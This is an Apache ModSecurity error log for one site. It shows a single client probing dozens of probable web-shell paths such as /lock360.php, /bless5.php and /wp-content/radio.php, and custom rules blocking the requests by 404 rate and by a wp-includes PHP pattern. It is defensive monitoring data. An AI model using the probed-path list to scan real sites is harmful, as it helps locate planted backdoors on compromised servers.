[Sun Dec 28 18:43:32.100132 2025] [:error] [pid 29436:tid 29454] [client 172.192.64.62:6796] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aVEJ1LchzOOtNL9VPNLUYwAAAY8"]
[Sun Dec 28 18:43:32.396121 2025] [:error] [pid 29436:tid 29458] [client 172.192.64.62:6959] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEJ1LchzOOtNL9VPNLUZAAAAZM"]
[Sun Dec 28 18:43:32.663932 2025] [:error] [pid 42378:tid 42391] [client 172.192.64.62:6916] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEJ1DgtcN-KHAjWrX8IxwAAAMs"]
[Sun Dec 28 18:43:33.069376 2025] [:error] [pid 29388:tid 29418] [client 172.192.64.62:6848] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEJ1doLv2L2zI_SpdXNSgAAAVY"]
[Sun Dec 28 18:43:33.329260 2025] [:error] [pid 29437:tid 29474] [client 172.192.64.62:6957] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVEJ1RhDotAbVk6pZLeuwQAAAcg"]
[Sun Dec 28 18:43:33.593647 2025] [:error] [pid 43789:tid 43801] [client 172.192.64.62:6889] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aVEJ1Qa-tUppni4CcCYhQAAAAQo"]
[Sun Dec 28 18:43:33.846485 2025] [:error] [pid 42378:tid 42401] [client 172.192.64.62:6951] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aVEJ1TgtcN-KHAjWrX8IygAAANU"]
[Sun Dec 28 18:43:34.081266 2025] [:error] [pid 29388:tid 29398] [client 172.192.64.62:6946] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aVEJ1toLv2L2zI_SpdXNTAAAAUI"]
[Sun Dec 28 18:43:34.418541 2025] [:error] [pid 29436:tid 29441] [client 172.192.64.62:6858] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aVEJ1rchzOOtNL9VPNLUZQAAAYI"]
[Sun Dec 28 18:43:34.758870 2025] [:error] [pid 42294:tid 42373] [client 172.192.64.62:6898] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aVEJ1tTE5kYcYCOzl9Gt_QAAAJc"]
[Sun Dec 28 18:43:35.148637 2025] [:error] [pid 42378:tid 42390] [client 172.192.64.62:6971] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aVEJ1zgtcN-KHAjWrX8IywAAAMo"]
[Sun Dec 28 18:43:35.423282 2025] [:error] [pid 42292:tid 42297] [client 172.192.64.62:6974] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aVEJ15yOrM_vaFx1osY5cAAAAAE"]
[Sun Dec 28 18:43:35.729974 2025] [:error] [pid 29437:tid 29473] [client 172.192.64.62:6954] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aVEJ1xhDotAbVk6pZLeuwwAAAcc"]
[Sun Dec 28 18:43:36.196255 2025] [:error] [pid 43789:tid 43807] [client 172.192.64.62:7048] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEJ2Aa-tUppni4CcCYhQQAAARA"]
[Sun Dec 28 18:43:36.514122 2025] [:error] [pid 42292:tid 42306] [client 172.192.64.62:6803] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEJ2JyOrM_vaFx1osY5cQAAAAo"]
[Sun Dec 28 18:43:36.855755 2025] [:error] [pid 29388:tid 29407] [client 172.192.64.62:6878] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEJ2NoLv2L2zI_SpdXNUgAAAUs"]
[Sun Dec 28 18:43:37.311173 2025] [:error] [pid 29388:tid 29396] [client 172.192.64.62:6884] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aVEJ2doLv2L2zI_SpdXNVAAAAUA"]
[Sun Dec 28 18:43:37.593597 2025] [:error] [pid 29388:tid 29417] [client 172.192.64.62:6886] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVEJ2doLv2L2zI_SpdXNVgAAAVU"]
[Sun Dec 28 18:43:37.927614 2025] [:error] [pid 29437:tid 29479] [client 172.192.64.62:6799] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVEJ2RhDotAbVk6pZLeuyAAAAc0"]
[Sun Dec 28 18:43:38.287895 2025] [:error] [pid 29437:tid 29487] [client 172.192.64.62:6903] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVEJ2hhDotAbVk6pZLeuygAAAdU"]
[Sun Dec 28 18:43:38.642234 2025] [:error] [pid 42292:tid 42311] [client 172.192.64.62:6953] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aVEJ2pyOrM_vaFx1osY5cwAAAA8"]
[Sun Dec 28 18:43:39.301135 2025] [:error] [pid 29437:tid 29478] [client 172.192.64.62:6866] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aVEJ2xhDotAbVk6pZLeuzAAAAcw"]
[Sun Dec 28 18:43:39.629634 2025] [:error] [pid 29437:tid 29470] [client 172.192.64.62:7164] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aVEJ2xhDotAbVk6pZLeuzQAAAcQ"]
[Sun Dec 28 18:43:40.078183 2025] [:error] [pid 29388:tid 29416] [client 172.192.64.62:6876] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aVEJ3NoLv2L2zI_SpdXNWgAAAVQ"]
[Sun Dec 28 18:43:40.432482 2025] [:error] [pid 29388:tid 29414] [client 172.192.64.62:6891] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aVEJ3NoLv2L2zI_SpdXNWwAAAVI"]
[Sun Dec 28 18:43:40.697319 2025] [:error] [pid 29437:tid 29488] [client 172.192.64.62:6910] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVEJ3BhDotAbVk6pZLeu0AAAAdY"]
[Sun Dec 28 18:43:41.234517 2025] [:error] [pid 42293:tid 42333] [client 172.192.64.62:6816] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVEJ3cvc9B-5cwN385LRFgAAAEo"]
[Sun Dec 28 18:43:41.546287 2025] [:error] [pid 29437:tid 29473] [client 172.192.64.62:6885] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVEJ3RhDotAbVk6pZLeu0QAAAcc"]
[Sun Dec 28 18:43:41.844789 2025] [:error] [pid 42292:tid 42315] [client 172.192.64.62:6973] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aVEJ3ZyOrM_vaFx1osY5dwAAABM"]
[Sun Dec 28 18:43:42.169168 2025] [:error] [pid 42292:tid 42309] [client 172.192.64.62:6728] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aVEJ3pyOrM_vaFx1osY5eQAAAA0"]
[Sun Dec 28 18:43:42.801411 2025] [:error] [pid 43789:tid 43813] [client 172.192.64.62:6969] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aVEJ3ga-tUppni4CcCYhQgAAARY"]
[Sun Dec 28 18:43:43.177717 2025] [:error] [pid 29436:tid 29446] [client 172.192.64.62:6948] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aVEJ37chzOOtNL9VPNLUagAAAYc"]
[Sun Dec 28 18:43:43.703229 2025] [:error] [pid 42294:tid 42374] [client 172.192.64.62:6975] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aVEJ39TE5kYcYCOzl9GuAAAAAJg"]
[Sun Dec 28 18:43:43.956712 2025] [:error] [pid 42293:tid 42324] [client 172.192.64.62:6945] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aVEJ38vc9B-5cwN385LRFwAAAEE"]
[Sun Dec 28 18:43:44.267117 2025] [:error] [pid 29436:tid 29453] [client 172.192.64.62:7114] [client 172.192.64.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aVEJ4LchzOOtNL9VPNLUawAAAY4"]
[Sun Dec 28 18:43:44.522652 2025] [:error] [pid 42378:tid 42400] [client 172.192.64.62:6900] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVEJ4DgtcN-KHAjWrX8IzwAAANQ"]
[Sun Dec 28 18:43:44.866015 2025] [:error] [pid 29437:tid 29477] [client 172.192.64.62:6882] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVEJ4BhDotAbVk6pZLeu0wAAAcs"]
[Sun Dec 28 18:43:45.232747 2025] [:error] [pid 29388:tid 29419] [client 172.192.64.62:6793] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVEJ4doLv2L2zI_SpdXNZAAAAVc"]
[Sun Dec 28 18:43:45.820155 2025] [:error] [pid 43789:tid 43806] [client 172.192.64.62:6794] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aVEJ4Qa-tUppni4CcCYhRAAAAQ8"]
[Sun Dec 28 18:43:46.124700 2025] [:error] [pid 42292:tid 42310] [client 172.192.64.62:6909] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aVEJ4pyOrM_vaFx1osY5fwAAAA4"]
[Sun Dec 28 18:43:46.401264 2025] [:error] [pid 42294:tid 42372] [client 172.192.64.62:6815] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aVEJ4tTE5kYcYCOzl9GuAwAAAJY"]
[Sun Dec 28 18:43:46.811377 2025] [:error] [pid 42292:tid 42297] [client 172.192.64.62:6811] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aVEJ4pyOrM_vaFx1osY5gAAAAAE"]
[Sun Dec 28 18:43:47.085203 2025] [:error] [pid 43789:tid 43802] [client 172.192.64.62:6797] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aVEJ4wa-tUppni4CcCYhRQAAAQs"]
[Sun Dec 28 18:43:47.381054 2025] [:error] [pid 43789:tid 43795] [client 172.192.64.62:7017] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aVEJ4wa-tUppni4CcCYhRgAAAQQ"]
[Sun Dec 28 18:43:47.702736 2025] [:error] [pid 29437:tid 29490] [client 172.192.64.62:6983] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aVEJ4xhDotAbVk6pZLeu1QAAAdg"]
[Sun Dec 28 18:43:47.964755 2025] [:error] [pid 29437:tid 29479] [client 172.192.64.62:7006] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aVEJ4xhDotAbVk6pZLeu1gAAAc0"]
[Sun Dec 28 18:43:48.281970 2025] [:error] [pid 29436:tid 29455] [client 172.192.64.62:6872] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aVEJ5LchzOOtNL9VPNLUbQAAAZA"]
[Sun Dec 28 18:43:48.577930 2025] [:error] [pid 29436:tid 29439] [client 172.192.64.62:6749] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aVEJ5LchzOOtNL9VPNLUbgAAAYA"]
[Sun Dec 28 18:43:49.024237 2025] [:error] [pid 29437:tid 29481] [client 172.192.64.62:6792] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aVEJ5RhDotAbVk6pZLeu2QAAAc8"]
[Sun Dec 28 18:43:49.262933 2025] [:error] [pid 42378:tid 42402] [client 172.192.64.62:6787] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aVEJ5TgtcN-KHAjWrX8I0QAAANY"]
[Sun Dec 28 18:43:49.603769 2025] [:error] [pid 29436:tid 29448] [client 172.192.64.62:6753] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVEJ5bchzOOtNL9VPNLUbwAAAYk"]
[Sun Dec 28 18:43:50.248187 2025] [:error] [pid 29437:tid 29482] [client 172.192.64.62:6776] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVEJ5hhDotAbVk6pZLeu2gAAAdA"]
[Sun Dec 28 18:43:50.555438 2025] [:error] [pid 29436:tid 29459] [client 172.192.64.62:6962] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVEJ5rchzOOtNL9VPNLUcQAAAZQ"]
[Sun Dec 28 18:43:50.803458 2025] [:error] [pid 29388:tid 29405] [client 172.192.64.62:7013] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aVEJ5toLv2L2zI_SpdXNZwAAAUk"]
[Sun Dec 28 18:43:51.066277 2025] [:error] [pid 29437:tid 29483] [client 172.192.64.62:6904] [client 172.192.64.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aVEJ5xhDotAbVk6pZLeu3QAAAdE"]
